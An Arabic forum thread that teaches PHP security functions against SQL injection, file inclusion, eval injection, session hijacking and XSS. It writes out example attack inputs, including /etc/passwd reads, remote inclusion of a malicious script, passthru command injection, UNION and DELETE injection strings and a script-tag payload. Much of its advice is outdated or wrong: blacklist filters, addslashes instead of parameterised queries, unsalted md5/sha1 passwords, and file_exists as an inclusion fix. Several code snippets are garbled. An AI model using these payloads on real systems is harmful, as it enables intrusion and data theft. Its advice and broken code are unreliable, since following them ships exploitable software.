×

شرح بعض دوال الحماية وبعض طرق الحماية في php

شرح بعض دوال الحماية وبعض طرق الحماية في php دالة بسيطة للحماية من اخطار SQLInjection الدالة بسيطة : رمز PHP: <?php     function  SQLinject (
Like Tree8معجبون
  • 4 أضيفت بواسطة Ehab Obaidat‎‏
  • 1 أضيفت بواسطة مشتاقين
  • 1 أضيفت بواسطة Al-Kaiser
  • 2 أضيفت بواسطة shqawe

صورة 'Ehab Obaidat‎‏' الرمزية
قديمة 05 - 08 - 2016, 18:33
المشاركة 1
شرح بعض دوال الحماية وبعض طرق الحماية في php

شرح بعض دوال الحماية وبعض طرق الحماية في php

شرح بعض دوال الحماية وبعض طرق الحماية في php

دالة بسيطة للحماية من اخطار SQLInjection

الدالة بسيطة :

رمز PHP:
<?php  
 
function SQLinject($var){ 
 
     if(
eregi("union",$var) || eregi("select",$var) || eregi("'",$var)|| eregi("-",$var)|| eregi("\*",$var)|| eregi("FROM",$var)){ 
     die(
"<script type=\"text/javascript\">alert(\"/محاولة اختراق من ".$_SERVER['REMOTE_ADDR']."\");</script>"); 
     } 
 

 
?>
طريقة الاستعمال : قلنفترض انه عندنا متغير من نوع GET باسم page :

رمز PHP:
http://localhost/index.php?page=-1 
رمز PHP:
SQLinject($_GET['page']); 


شرح بعض دوال الحماية وبعض طرق الحماية في php

وفيك طورها بهذا شكل بأن اضيف عليها قليلاً

رمز PHP:
####### HOW TO USE FUNCTION? ############## 
#  include("../inc/lib.php");                    # 
#  SQLinject("$var");                       # 
##################################### 
//SQLinject($_GET['page']); 
 
function SQLinject($var

      global 
$go
     
$xarray = array 
                      ( 
                        
"select",    "insert",    "update",    "delet",    "great",    "drop",        "grant"
                        
"union",    "group",    "FROM",        "where",    "limit",    "order",    "by"
                        
"\.",        "\..",        "\...",        "\/",        "\"",        "\'",        "<"
                        
">",         "%",        "\*",        "\#",        "\;",        "\\",        "\~"
                        
"\&",         "@",        "\!",        ":",         "+",        "-",        "_"
                        
"(",         ")" 
                    
); 
 
    foreach (
$xarray as $danger
   { 
         if(@
eregi("$danger",$var)) 
        {die(
report("[$go] قام بمحاولة اختراق"));} 
    } 
    if(
$go && $go==""
    { 
        
report("go=[$go]  قام حذف مدخلات القيمة"); 
    } 

//=============================// 
وطبعا الدالة report تقوم بتسجيل محاولات الاختراق، باستخدام الـ ip
و go هي البيانات المرسلة على النحو:

رمز PHP:
mypage.php?go=12 


شرح بعض دوال الحماية وبعض طرق الحماية في php

وفيك طورها بهذا شكل بأن اضيف عليها قليلاً

ممكن أيضا لزيادة الحماية القيام ببعض الاضافات:

رمز PHP:
function SQLinject($var

      global 
$go
   
$vlink trim($var);  
   
$vlink stripslashes($vlink); 
   
$vlink nl2br($vlink);  
   
//$vlink = htmlentities($vlink); 
 
     
$xarray = array 
                      ( 
                        
"select",    "insert",    "update",    "delet",    "great",    "drop",        "grant"
                        
"union",    "group",    "FROM",        "where",    "limit",    "order",    "by"
                        
"\.",        "\..",        "\...",        "\/",        "\"",        "\'",        "<"
                        
">",         "%",        "\*",        "\#",        "\;",        "\\",        "\~"
                        
"\&",         "@",        "\!",        ":",         "+",        "-",        "_"
                        
"(",         ")" 
                    
); 
 
    foreach (
$xarray as $danger
   { 
         if(@
eregi("$danger",$vlink)) 
        {die(
report("[$go] قام بمحاولة اختراق"));} 
    } 
    if(
$go && $go==""
    { 
        
report("go=[$go]  قام حذف مدخلات القيمة"); 
    } 

//=============================// 
نعم دوال الحماية كثيرة ، ولكن لكل دالة استخداماتها..
وذلك بحسب الحاجة اليها..
مثلاً الدالة التالية تقوم بالتأكد من أن مسلسل الموضوع أو الخبر موجود أصلاً في قاعدة بياناتك
فإذا كان موجود تقوم بعرضه للزائر وإلا فسوف ترجع القيمة (صفر) وما عليك الا اضافة دالة if للتعامل مع القيمة (0)
واظهار رسالة (هذا الموضوع غير موجود) مثلا..
واليك الكود:

رمز PHP:
########### HOW TO USE THIS FUNCTION? ###################
//include("../inc/lib.php");
// foundId($s);
// التخصلص من الاستعلامات الخاطئة
// التي تحمل رقم تسلسل مزيف
#################################################

function foundId($s)
{
    
$query_any  = @mysql_query("SELECT `id` FROM news");
    
$found_any  = @mysql_num_rows($query_any);
    while (
$row    =    mysql_fetch_array($query_any))
    {
        include 
"../inc/news_row.php";
        
// انا استخدم ادراج صفحة بكل حقول الجدول 
           
بدلا عن كتابتها كل مرة مثلا$id $row["id"]; ... الخ

        
if ($s == $id)
        {
            
$ok 1;
        }
    } 
// end while
    
if ($ok == 1)
    {
        
$a $s;
    }
    else
    {
        
$a 0;
    }
    return 
$a;
}
//================================================// 
شرح بعض دوال الحماية وبعض طرق الحماية في php

الكود التالي php أيضاً وهو يقوم بعرض رسالة بواسطة (الجافا سكريبت) للزائر وexit لعدم عرض أي شيء
بعد عرض الرسالة.

رمز PHP:
if(foundId==0)
{
      echo "
        <script type='text/javascript'>
        window.alert('<?php echo "الموضوع الذي تبحث عنه غير موجود"?> \n');
        </script>
         ";
       exit;
}


شرح بعض دوال الحماية وبعض طرق الحماية في php

أهمية هذا المقال لمبرمجى اللغة هو التعرف على الأخطاء الأمنية العامة التى من الممكن أن تخلق ثغرات فى برامجهم و مع أن معظم المبادىء التى سوف أذكرها لحقاً تعتبر من البديهيات و لكن عدد لا بأس به من المبرمجين لا ينتبهون إلى مثل هذه الأخطاء ، و للأسف نحن جميعاً نفتقد التدريب الجيد على مفردات برامج صنعناها سابقاً بمعنى أنه من الثابت علمياً أن تنقيح و تطوير برمجيات كتبتها من قبل هو بمثابة تدريب جيد جداً لك لتلافى أخطائك السابقة و ايضاً لجعل شفرتك تحقق غاية البرنامج من طريق أسهل او أقصر ، ما علينا فلنبدأ.

1- لا تضمن فى برنامجك أبداً ملف مدخل من قبل مستخدم إلا بعد التأكد من إسم الملف ( هناك عدة طرق للتأكد بالجافاسكربت ، أو بالبى اتش بى ) ، أى لا تستخدم أبداً include , require , أو أى من دوال التضمين لملفات مدخلة حتى اسمائها من قبل مستخدمين قبل التأكد من صحة المدخلات.


مثال
رمز PHP:
if(isset($page))
{
include(
$page);

بما أنه لم يتم التأكد من إسم الملف $page و بناءً على أن register_globals فى وضع التشغيل مما يعنى أنه بإمكان المستخدم إدخال script.php?page=/etc/passwd
و بناءً على أنه عند تضمين أى إمتداد آخر غير بى اتش بى فإن مترجم اللغة يعرضه فى الصفحة كما هو إذا كان نص مثلاً ، تخيل أن شخصاً استطاع عرض /etc/passwd!!!!!

تأكد أيضاً من إعداد البى اتش بى الخاص بك حيث أن معظم الإعدادات يكون من المسموح فيها بتضمين ملفات من خوادم أخرى.

مثال
رمز PHP:
script.php?page=http://mysite.com/mal_script.php 
بإمكان هذا المستخدم تنفيذ أى شفرة على موقعك مثل التعامل مع SSI أو قواعد بياناتك و الحل هو التحقق من صحة مدخلات المستخدم بوضع قاعدة تحقق عملية تخدم غرض برنامجك.

مثال
رمز PHP:
$pages = array('index.html''page2.html''page3.html');
if( 
in_array($page$pages) )
{
include(
$page);
{
else
{
die(
"Foot Bokra");

شرح بعض دوال الحماية وبعض طرق الحماية في php

2- تمرير القيم المدخلة من قبل المستخدم لى الدالة eval لأنك بكل بساطة تعطى المستخدم الحق فى تنفيذ أى أوامر مثل:


رمز PHP:
script.php?input=;passthru("cat /etc/paswd"); 
و سوف يتسبب تنفيذ هذا الأمر إخراج ملف /etc/passwd.
إن إستخدام eval صحيح تماماً للتحقق من صحة مدخلات و لكن لابد من إستخدامها عند الضرورة ، لو أنك تستخدم فى برنامجك ( Templates ) مثلاً أو تستخدم الدالة لإستبدال المدخلات من قبل المستخدم ، إستخدم دالة sprintf بدلاً منها.

شرح بعض دوال الحماية وبعض طرق الحماية في php

3- تأكد من الخروج من إستعلامات قواعد البيانات SQL Statement بمعنى أن اللغة نفسها تحتوى على خاصية الخروج من جمل SQL بإضافة شرطة مائلة \ قبل حروف معينة أدخلت بواسطة GET , POST , COOKIE و إحدى الأمثلة على هذه الحروف هو العلامة (') و لو أن المدخلات فى جملة الإستعلام تحتوى هذه العلامة فإن مترجم اللغة سوف يضيف تلقائياً شرطة مائلة \ لكى لا يتم معاملة الحرف (') كجزء من الإستعلام ، مثلاً إذا أدخل المستخدم $name فى النموذج form و جملة الإستعلام كالآتى:

رمز PHP:
UPDATE users SET Name='$name' WHERE ID=1
إذا كان المتغير يحتوى على الحرف (') فسوف يضاف الشرطة المائلة \ قبل الحرف و بالتالى لن يؤثر الحرف (') على جملة الإستعلام ، لنتخيل أن المستخدم أدخل المعطيات التالية:

رمز PHP:
$name',Admin='
الآن إستطاع المستخدم إدخال متغير آخر فى جملة الإستعلام و بالتالى حصل على المعلومات المطلوبة ، بإمكانك إستخدام الدوال التالية

رمز PHP:
addslashes() أو mysql_escape_string() 
عند إستخدام متغيرات ممررة من خلال جملة الإستعلام و سوف يقوم بإدخالها المستخدم ، أيضاً الدالة magic_quotes_gpc فهى تضيف الشرطة المائلة تلقائياً و لكنها قد لا تكون فى وضع التشغيل و تستطيع إستخدام الدالة get_magic_quotes_gpc() لمعرفة إذا كانت فى وضع التشغيل أم لا و الأسهل هو إستخدام addslashes() من خلال حلقة تكرارية لإضافة الشرطة المائلة \ لكل المدخلات الممررة من قبل المستخدم.

شرح بعض دوال الحماية وبعض طرق الحماية في php

4- عند تخزين كلمات المرور فى قاعدة البيانات تأكد من تشفيرها قبل التخزين فى قاعدة البيانات ، لأن قواعد البيانات غالباً ما تتبع حزمة الإستضافة الخاصة بك و غالباً أيضاً ما تكون الإستضافة تشاركية Shared Hosting إذن نستخلص أنك قد لا تعلم بعض الأشخاص المخولين بالدخول لقواعد البيانات ، بإستطاعتك تشفير كلمات المرور بإستخدام تقنيات عدة مثل 3DES أو AES5 و تستطيع فك التشفير لفترة بسيطة للتأكد من أن المستخدم قد أدخل كلمة المرور الصحيحة و الميزة الأساسية فى هذه الطرق هو أنها تعتمد فى التشفير و فك التشفير على مفتاح key يعرفه مدير الموقع ، و لكن هذه الطرق المذكورة بطيئة جداً و تعتمد على لوغاريتمات معقدة و الحل الأمثل لهذه المشكلة هو إستخدام إحدى دوال التشفير الرقمية Session hash functions مثل دالة SHA-1 أو md5.

شرح بعض دوال الحماية وبعض طرق الحماية في php

5- تابع أخطاء جمل إستعلام SQL
لنفترض أن جملة الإستعلام التى تستخدمها فى برنامجك للتأكد من إسم المستخدم و كلمة المرور كالآتى:

رمز PHP:
$stmnt SELECT login_id FROM users WHERE user '" .
$_POST["username"] . "' 
AND password " . $_POST["password"]; 
لنفترض أيضاً أن المستخدم أدخل (#) بدلاً من كلمة المرور أى أن جملة الإستعلام أصبحت كالتالى:

رمز PHP:
SELECT login_id FROM users WHERE user 'hani'#' AND password = '' 
بمعنى أنه إستطاع تحويل باقى جملة الإستعلام إلى تعليق بإستخدام الرمز (#) و من ثم أصبحت كلمة المرور خالية!!
إذن كل ما استخدمه المهاجم هو إسم مستخدم مسجل فى قاعدة البيانات و بالتالى إستخدم الرمز (#) لقصر جملة الإستعلام عند الرمز (#) الذى أصبح ما بعده ( بقية جملة الإستعلام ) عبارة عن تعليق و الحل ذكرناه مسبقاً بإستخدام addslashes().

شرح بعض دوال الحماية وبعض طرق الحماية في php

6- إستكمالاً لما سبق عن أهمية تشفير كلمات المرور ، بى اتش بى تدعم تلقائياً دوال SHA-1 و أيضاً MD5 الذى تم تطويره فى التسعينيات و لكنه يدعم تشفير حتى 128-bit فقط ، مع العلم أن SHA-1 يدعم حتى 160-bit و سوف نستخدمه كمثال:

رمز PHP:
$insertSql .= "'" sha1($_POST["password1"]) . ", "
ربما تستغرب أننا لم نستخدم addslashes() كما أشرنا سابقاً و لكن لذلك سبب وجيه و هو أن SHA-1 تستخدم فقط الأرقام الستعشرية (Hexadecimal) أى (0 – 9 و A - F) بمعنى آخر الدالة لا تستخدم أى من الحروف الخطرة فى جمل الإستعلام مثل (').

بإمكانك التحقق من كلمتين المرور المشفرتين (المدخلة من قبل المستخدم ، و الموجودة مسبقاً فى قاعدة البيانات بإستخدام مثلاً:

رمز PHP:
$loginQuery .= " password = '"sha1($_POST["password"]) . "'"
إذا تم التأكد من كلمة المرور المدخلة بأنها مطابقة لتلك فى قاعدة البيانات فسوف نبدأ الجلسات إذن و أخطائها الأمنية.

شرح بعض دوال الحماية وبعض طرق الحماية في php

7- الجلسات ( Session )

أخطاء الجلسات الأمنية و التى تخلق ثغرات فى برنامجك تعتمد على ثلاثة طرق:
الطريقة الأولى هى الإعتراض أو التوقيف و يكون عن طريق إرسال معرف الجلسة كنص عادى عبر الشبكة و الحل لهذه الثغرة بإستخدام إتصال آمن بين المستخدم و الخادم SSL أو TLS على سبيل المثال ، و لا تنسى إستخدام الدالة session_set_cookie_params أو إعداد session.cookie_secure فى ملف ini ، و بهذه الطريقة عندما يطلب المستخدم صفحة معينة على الخادم فإن معرف الجلسة لن يرسل إلا إذا كان الإتصال مشفر بين الخادم و المستخدم.
الطريقة الثانية وهى التوقع فلو أن معرف الجلسة تم إختياره بشكل سىء (كأن يكون تعداداً تصاعدياً مثلاً) فإن المهاجم يستطيع تخمينه و بالتالى الحصول على معرف جلسة لا تخصه ، و الحل الأمثل هو ربط معرف الجلسة بشىء له علاقة بالمستخدم (جلب الـIP مثلاً) ثم إدخاله فى احدى دوال التشفير المذكورة سابقاً (SHA-1 أو MD5) و سوف يتم انتاج أرقام عشوائية بناءً على ذلك و لكن الخادم بإستطاعته مقارنتها و التأكد منها ما إذا كانت مملوكة للمستخدم أم لا.
الطريقة الثالثة و هى الإقتحام بالقوة أو بالأحرى البحث و تخمين طريقة عمل معرف الجلسة و من الممكن التخمين إذا كان المبرمج استخدم مثلاً أرقام ما بين 1 و 10.000 و الحل السابق يكفى لتفادى ذلك فقط تأكد من أن التشفير ليس أقل من 128-bit.

لنفرض أننا بدأنا جلسة ما بعد أن تأكدنا من كلمة مرور المستخدم session_start() لابد أن نعيد تصنيع معرف الجلسة خلال عملية الولوج و تعديل الـcookie عن طريق session_generate_id و بعد ذلك سوف نقوم بتخزين بعض البيانات التى حصلنا عليها من قاعدة البيانات فى الجلسة

رمز PHP:
$_SESSION["user"] = new User($userData->login_id$userData->name$userData->email$userData->username); 
لاحظ المستخدم يتكون من: معرف الدخول login_id ، الإسم name ، البريد email ، إسم المستخدم username.

فى السطرين التاليين سوف نقوم بتخزين عنوان المستخدم IP و الوقت الذى بدأت فيه الجلسة

رمز PHP:
$_SESSION["IP"] = $_SERVER["REMOTE_ADDR"];
$_SESSION["timestamp"] = time(); 
الآن تمت عملية تسجيل الدخول

حماية المحتوى و التحكم فى الوصول للبيانات:
للتحكم فى الوصول للبيانات بطريقة سهلة لابد من المراجعة على بيانات الدخول و من العوامل المؤثرة التى تخلق ثغرات أمنية هو كيف تتم المراجعة على البيانات و أين توضع بيانات المراجعة.
على سبيل المثال "includes/session.inc.php" يحتوى على وظائف المراجعة ( تستطيع تضمينه مع الملفات التى تريد حمايتها ) ، و أسهل الطرق للتأكد من أن المستخدم له حق دخول المنطقة المحمية و الوصول للبيانات هو التأكد من أن الجلسة تم إعدادها بشكل صحيح و أنها تحتوى بعض بيانات المستخدم خلال عملية تسجيل الدخول و أول الخطوات هو التأكد من أن المتغيرات محددة فى مصفوفة $_SESSION

رمز PHP:
if(!isset($_SESSION["user"])) {
die(
"Not logged in");

أيضاً التأكد من معرف الدخول إذا كانت قيمته رقمية

رمز PHP:

if(!is_numeric($_SESSION["user"]->loginID)) {
die(
"Not logged in");

الآن تأكدنا بشكل كبير من أن صاحب الجلسة قد مر بإجراءات تسجيل الدخول و بما أننا لا نعرف إذا كان المستخدم هو صاحب الجلسة الحقيقى فلابد أن نقارن عنوان الـIP بذلك المخزن لدينا إذا لم يكونا متطابقين فسوف نخرج المستخدم


رمز PHP:
if($_SESSION["IP"] != $_SERVER["REMOTE_ADDR"]) {
header("Location: user_logout.php");


لو أن الوقت المخزن لدينا ليس أكثر من 30 دقيقة (1800 ثانية) سوف نقوم بتصفير الوقت و إعطاءه 30 دقيقة أخرى للتصفح و إذا كان أكثر سوف نقوم بإخراجه

رمز PHP:

if((time() - $_SESSION["timestamp"]) > 1800) {
header("Location: user_logout.php?timeOut=1 ");
}
else {
$_SESSION["timestamp"] = time();

إن عملية إخراج المستخدم حاسمة جداً حيث أنه من المهم جداً قطع كل صلات البيانات المرتبطة بالجلسة أو بمعرف الجلسة عند إخراج المستخدم و السطر التالى لإخلاء المصفوفة وهذا يعنى أنه تم مسح البيانات السابقة حتى العنوان IP و التوقيت

رمز PHP:
$_SESSION = array(); 
بعد ذلك نخبر مترجم اللغة بإنهاء الجلسة

رمز PHP:
session_destroy(); 
أيضاً مهم جداً أن نمسح معرف الجلسة من الـcookie

رمز PHP:
unset($_COOKIE[session_name()]); 
شرح بعض دوال الحماية وبعض طرق الحماية في php

8- تابع أخطاء جمل إستعلام SQL

من أخطاء المبرمجين الأمنية الشائعة فى إستخدام جمل الإستعلام هو عدم التأكد من المتغيرات المدخلة إلى جملة الإستعلام مما قد يسبب وصولاً لبيانات غير مسموح الوصول لها و فى المثال التالى نستعرض إحدى الأخطاء الشائعة:

رمز PHP:
$id $_GET["id"];
$result mysql_query("SELECT * FROM `articles` where id=$id;"); 
– و بما أنه لم يتم التأكد من المتغير $id فإذا قام المستخدم بناءً على ما سبق بإدخال الجملة التالية فى شريط العنوان بالمتصفح

رمز PHP:
Page.php?id=0 UNION SELECT FROM `admin_users
أصبحت جملة الإستعلام كالآتى:

رمز PHP:
SELECT FROM `articlesWHERE id=0
UNION SELECT 
FROM `admin_users`; 
مما سوف تكون نتيجته إظهار كل محتويات الجدول `admin_users` و هى بيانات من المفترض أنها غير متاحة ، و الحل بما أن المتغير $id هو رقم إذن ينبغى التأكد من أنه رقم ( فقط ) و هناك طريقتين أرجح إستخدام ثانيهما ، أما الأولى فهى التأكد بإستخدام دالة intval ليصبح:

رمز PHP:
$id intval($_GET["id"]); 
أما الطريقة الثانية و المفضلة فى رأيى:

رمز PHP:
$id $_GET["id"];
If (!
is_numeric($id)) {
………………….echo "foot bokra"
} else {
………………….continue

و كمثال آخر و لكن المتغير عبارة عن نص:

رمز PHP:
$name $_GET["name"];
$result mysql_query("SELECT * FROM `articles`
WHERE title=\"$name\";"
); 
- و بما أنه لم يتم التأكد من المتغير $name فإذا قام المستخدم بناءً على ما سبق بإدخال الجملة التالية فى شريط العنوان بالمتصفح

رمز PHP:

Page
.php?nameUNION SELECT FROM `admin_users`
WHERE name="% 
سوف تكون النتيجةإظهار كل محتويات الجدول `admin_users` و المفترض أنها غير متاحة و الحل بما أن المتغير $name هو متغير نصى إذن ينبغى التأكد أن المتغير المدخل $name يحتوى على نص ( فقط ) و هناك طريقتان للتحقق من أن المدخل نص ( فقط ) و إنهاء جملة الإستعلام ، أما الطريقة الأولى فهى:


رمز PHP:
$name str_replace("\""""", $_GET["name"]); 
أما الطريقة الثانية فهى كالآتى:

رمز PHP:
$name str_replace("\"""\\\""$_GET["name"]); 
شرح بعض دوال الحماية وبعض طرق الحماية في php

9- تابع أخطاء جمل إستعلام SQL

دائماً ما تستخدم المدخلات فى جملة الإستعلام كمعاملات إذا كان المستخدم ذو خبرة فسوف يستطيع إستخدام هذه المعاملات أيضاً كما ذكرنا سابقاً بضعة أمثلة بإستخدام GET سوف نستخدم POST فى هذا المثال:

رمز PHP:
$query "SELECT id, name FROM `records` LIMIT "
$_POST['NUM'];
$result $db->select($query); 
و عند إستخدام الشفرة التالية:

رمز PHP:
<form action="form.php" method="POST">
<
input type="text" name="NUM"
value="5; DELETE FROM `records`">
<
input type="submit">
</
form
تصبح جملة الإستعلام كالآتى:

رمز PHP:
SELECT idname FROM `recordsLIMIT 5;
DELETE FROM `records
و لقد رأيت برامج كثيرة غير محمية على الإطلاق من مثل هذا النوع من الهجمات عن طريق معاملات جمل الإستعلام و إليك هذه الدالة البسيطة لتنقيح جمل الإستعلام و بالتالى تفادى بعض من تلك الهجمات:

رمز PHP:
function filter_sql($input) {
$reg "(delete)|(update)|(union)|(insert)";
return(
eregi_replace($reg""$input));

شرح بعض دوال الحماية وبعض طرق الحماية في php

10- أخطاء البرمجة المتقاطعة Cross-Site Scripting XSS

من الأخطاء الشائعة إستخدام البرمجة المتقاطعة (XSS) و هى تقنية مستخدمة بكثرة لإضفاء مزيد من الديناميكة لمستخدم الموقع بالنسبة للتحكم فى واجهات التصميم و البيانات و كيفية عرضها ، و الحقيقة أن الأخطاء ليست مع PHP فقط و إنما مع أى لغة تستخدم هذه التقنية من خلالها و قد يكون مسار إستخدام وسوم HTML و Javascript هو الشائع من خلال النماذج FORMS مما يعكس أهمية أن تكون البيانات المدخلة منقحة تماماً سواء كانت المدخلات من المستخدم أو من موقع آخر أو حتى من قاعدة البيانات ، و كمثال:

رمز PHP:
$note $_GET["note"];
If (
$note) {
echo 
$note;

يستطيع المستخدم تنفيذ الشفرة التالية من خلال شريط العنوان فى المتصفح:

رمز PHP:
Page.php?note=<script>alert("pop up");</script> 
هذا مثال بسيط على إمكانية إرجاع وسوم HTML و Javascript إلى المستعرض و سوف تؤثر بطبيعة الحال و اللغات المستخدمة على متصفح العميل و لكن... إذا تم تخزين $note و عرضها لاحقاً لمستخدمين آخرين فسوف تكون النتيجة سيئة للغاية و يستطيع المهاجم مثلاً إدخال شفرة Javascript لتحويل مستخدمى الصفحة إلى صفحة أخرى أو عمل عدد لا نهائى من الرسائل pop up (و للأمانة العلمية هناك أشياء لم و لن أذكرها حتى لا يستخدم هذا المقال فى أذى الناس) و الحل فى تخطى وسمى < >

كما فى المثال التالى:

رمز PHP:
$escapeChars[0] = array('<''>');
$escapeChars[1] = array("&lt;""&gt;");
$note str_replace($escapeChars[0],$escapeChars[1],$_GET["note"]); 
و لإزالة الوسوم:

رمز PHP:
$escapeChars[0] = array('<''>');
$note str_replace($escapeChars[0], ""$_GET["note"]); 
هناك حلاً أعم قليلاً مما سبق لمنع هذه النوعية من الهجوم و هو إستخدام دالة htmlentities() .

شرح بعض دوال الحماية وبعض طرق الحماية في php

11- طرق تدفق البيانات

إن إعتماد أسلوبك الخاص لضخ البيانات هو من الأشياء التى تحقق لبرنامجك الدقة و المرونة و القدرة على الإتساع و المزيد من الديناميكية ، و المقصود من طرق التدفق أن تخطط لبرنامجك أسلوباً يسهل تعديله لاحقاً و مبدئياً لابد أن تضع مخطط شجرى لبرنامجك و إليك مثال على التخطيط.

- ملف index.php يوضع وحيداً فى الدليل الجذرى Root.
- ملفات التوصيف الخطرة مثل Config توضع فى دليل و ليكن إسمه على سبيل المثال /lib/.
- ملفات القوالب توضع فى مجلد يسمى على سبيل المثال /tpl/ و يتم حماية المجلد بإستخدام ملف .htaccess.
- ملفات الفئات Classes توضع فى مجلد إسمه مثلاً /classes/ و يتم حماية المجلد بإستخدام ملف .htaccess.
- ملفات الصور مثلاً فى مجلد /images/.
- إذا كنت تستخدم ملفات فلاش بتقنية ActionScript إستعمل لها مجلداً خاصاً و ليكن إسمه /flashscr/.

بعد أن قمنا بعمل المخطط الشجرى إتبع الخطوات التالية:

- ضع كل إستعلامات المستخدم فى ملف index.php بدون معاملات parameters مما يخلق لدينا حاجزاً ذو ذاكرة مؤقتة لتمرير البيانات إلى ملف الفئة الرئيسى الذى بدوره يعرض البيانات فى ملف القوالب.
- إجعل مدخلات النماذج FORMS بواسطة المستخدم تحول مخرجاتها إلى ملف الفئة لوظائف المستخدم على الهيئة التالية: ?class=account&action=login مما يجعل النموذج مجرد واجهة ربط و ملف الفئة لوظائف المستخدم هو ما يقوم بالإستعلام.
- إجعل البيانات العائدة من قاعدة البيانات بناءً على المدخلات من المستخدم تمر أولاً على ملف الفئة لتكوين عمليات الجلسات ثم إرسالها للعرض عن طريق ملف الفئة للقوالب و التعديل فى نفس الحاجز ذو الذاكرة المؤقتة لملف index.php.

اقتباس
index.php
|
|--- ملف الفئة الرئيسى
|
|--- إدارة المحتويات
|--- التسجيل
|--- الأخبار
|--- حساب المستخدم
|--- القوالب
|
|-----------|
|
|--- مكتبة الدوال
|--- فئة.الإدارة
|--- فئة.التسجيل
|--- فئة.الأخبار
|--- فئة.المستخدم
|
||--- فئة.القوالب
||
||--- نظام الملفات
|
|--- قاعدة البيانات
شرح بعض دوال الحماية وبعض طرق الحماية في php

12- طبعا نعرف ان الكثير من الاستغلالات تجي بعد ان يجد المخترق رسالة خطأ
ممكن يسحب منها المسار أو اليوزر او يستغل الخطأ نفسه مثلا
ثغرة SQL .. ثغرات ال Remote و هكذا ... المهم موضوعنا مش الثغرات

شرح بعض دوال الحماية وبعض طرق الحماية في php

الفكرة بسيطة و هي تعطيل رسائل الخطأ هكذا حتى لو كان هناك خطأ مش رح يضهر
( لا أتكلم عن كل المخترقين فقط رح تقدر هكذا تمنع عدد كبير منهم )

شرح بعض دوال الحماية وبعض طرق الحماية في php

ممكن نعطلها هكذا

رمز PHP:
ini_set('display_errors','0'); 
أو هكذا

رمز PHP:
   ini_set('error_reporting'E_ALL E_STRICT); 
ini_set('display_errors''Off');
ini_set('log_errors''Off'); 
لكن أحيانا تكن هاذي الدالة ممنوعة ف السرفر ( نتكلم عن دالة ini_set )

ممكن نستعمل هذه أيضا

رمز PHP:
error_reporting(0) ; 
شرح بعض دوال الحماية وبعض طرق الحماية في php

الدالة هذه تعطل اضهار الاخطاء أثناء وقت التشغيل و يمكنكم التعرف عليها أكثر من هنا
www.php.net/manual/en/function.error-reporting.php

أو من هنا لاكتساب معلومات اكثر حول التعامل مع الأخطاء في ال php
www.php.net/manual/en/book.errorfunc.php

شرح بعض دوال الحماية وبعض طرق الحماية في php

ممكن أيضا اضافة هاذا على الهاتكسس

رمز PHP:
php_value display_errors Off 
و هكذا تريح روحك من التعديل على السكربتات ف المجلدات الفرعية لو كانت كثيرة

و لو عندك صلاحيات ف السرفر ممكن تعطل اضهار الاخطاء هكذا
تروح على الملف

usr/local/lib/php.ini/

و توقف display_errors

هكذا display_errors = Off

شرح بعض دوال الحماية وبعض طرق الحماية في php

و هاذي فنكشن لقيتها على احدى المنتديات فكرتها جميلة جدا
تمنع الاخطاء عن الزوار و ف نفس الوقت تحفضها ف ملف لكي يستطيع المدراء مشاهدتها

رمز PHP:
  function error_protect($errno,$errstr,$errfile,$errline){ 
if(
error_reporting()>0){
$file "error_protect.txt";
file_put_contents($file," ERROR type [$errno] :-> [$errstr] in file  :-> $errfile , in line :-> $errline \n"FILE_APPEND LOCK_EX);
}


ثم نناديها هكذا

رمز PHP:
set_error_handler("error_protect",E_ALL); 
13-
سأطرح بعض الدوال الهامة للحماية في لغة php

الدالة intval

وفائدة هذه الدالة التأكد من الاستدعاء من انة رقمي

واذا لم يكن رقمي تعيد القيمة false

شرح بعض دوال الحماية وبعض طرق الحماية في php

الدالة abs

تفيد من التأكد من العدد حيث يجب ان يكون صحيح بدون

فواصل ودالتين intval abs لهما أهمية كبيرة للحماية من ثغرات sql Injection

مثال عملي عنهما :

رمز PHP:
      $value=intval(abs($_GET['id'])); 
شرح بعض دوال الحماية وبعض طرق الحماية في php

الدالة strip_tags

هذه دالة تقوم بحذف اكواد html وتفيد بالحماية من ثغرات xss و sql Injection

طريقة الاستخدام :

رمز PHP:
      $value=strip_tags($_POST['ehab']); 
شرح بعض دوال الحماية وبعض طرق الحماية في php

وهناك دالة شبية بها وهي htmlspecialchars

الفرق بينهما ان الدالة strip_tags تقوم بحذف اكواد HTML

بينما الدالة htmlspecialchars تقوم بتعطيلها وتعمل كانص عادي

مثال :

رمز PHP:
      $value=htmlspecialchars($_POST['ehab']); 
شرح بعض دوال الحماية وبعض طرق الحماية في php

نأتي الان الى الدالة addslashes

وهي دالة مهمة للحماية حيث تقوم باضافة / قبل ' او "

طريقة الاستخدام :

رمز PHP:
      $value=addslashes($_POST['ehab']); 
شرح بعض دوال الحماية وبعض طرق الحماية في php

الدالة mysql_escape_string

دالة مفيدة للغاية حيث أنها تقوم بحذف الاكواد الضارة الخاصة بـ MYSQL

مثال عملي يوضح هذه دالة :

رمز PHP:
      $value=mysql_escape_string($_POST['ehab']); 
حماية من ثغرات file include

الكثير منا يعلم مدى خطورت هذه ثغرة والحل النهائي لها

هو function جاهز مع البرنامج file_exists حيث ان هذا function يقوم بالتاكد من وجود الملف ويمكن الاستفادة منة في الحماية من خلال هذا المثال :

رمز PHP:
   function check_file($file){  if(file_exists($file)){   include $file; }else{ echo "الملف ".$file."غير موجود";  } } 



شرح بعض دوال الحماية وبعض طرق الحماية في php

واخيرا الدالة md5
تقوم هذه الدالة بتشفير القيمة المررة أليها مثال كلمات المرور المخزنة في قواعد البيانات حيث يجب تشفيرها لتأمين حماية أكثر لبرمجيتك

مثال عنها

رمز PHP:
      $password=md5($_POST['ehab']); 
شرح بعض دوال الحماية وبعض طرق الحماية في php

و للوهلة الأولى يبدو هذا الكلام عن طرق تدفق البيانات صعب و غير واضح و فى الحقيقة هو بسيط إذا وضعت فى إعتبارك المميزات التالية:

- تحويل أسرع للبيانات المدخلة ( أياً كان نوعها ) من قبل المستخدم مع تنقيح للبيانات عن طريق طبقة ملف الفئة الرئيسى.
- تحليل و رصد شامل للأخطاء عن طريق طبقة ملف الفئة الرئيسى.
- كل ملف من ملفات الفئات يحمل خوصه الذاتية لتنقيح جميع أنواع البيانات المدخلة و المخرجة مع حماية فى الطبقة العليا أى ملف الفئة الرئيسى.

أخيراً لا تعتقد أن ذلك هو الحل الأمثل فبإستطاعتك إيجاد طرق لتدفق البيانات أسهل و أكثر فعالية فقط بإعمال عقلك جيداً.

شرح بعض دوال الحماية وبعض طرق الحماية في php
هذا وصلى الله على نبينا محمد , إن أخطاءنا فمن الشيطان و انتظر من لديه المزيد أو الزيادة والنقص على ما كتبنا .
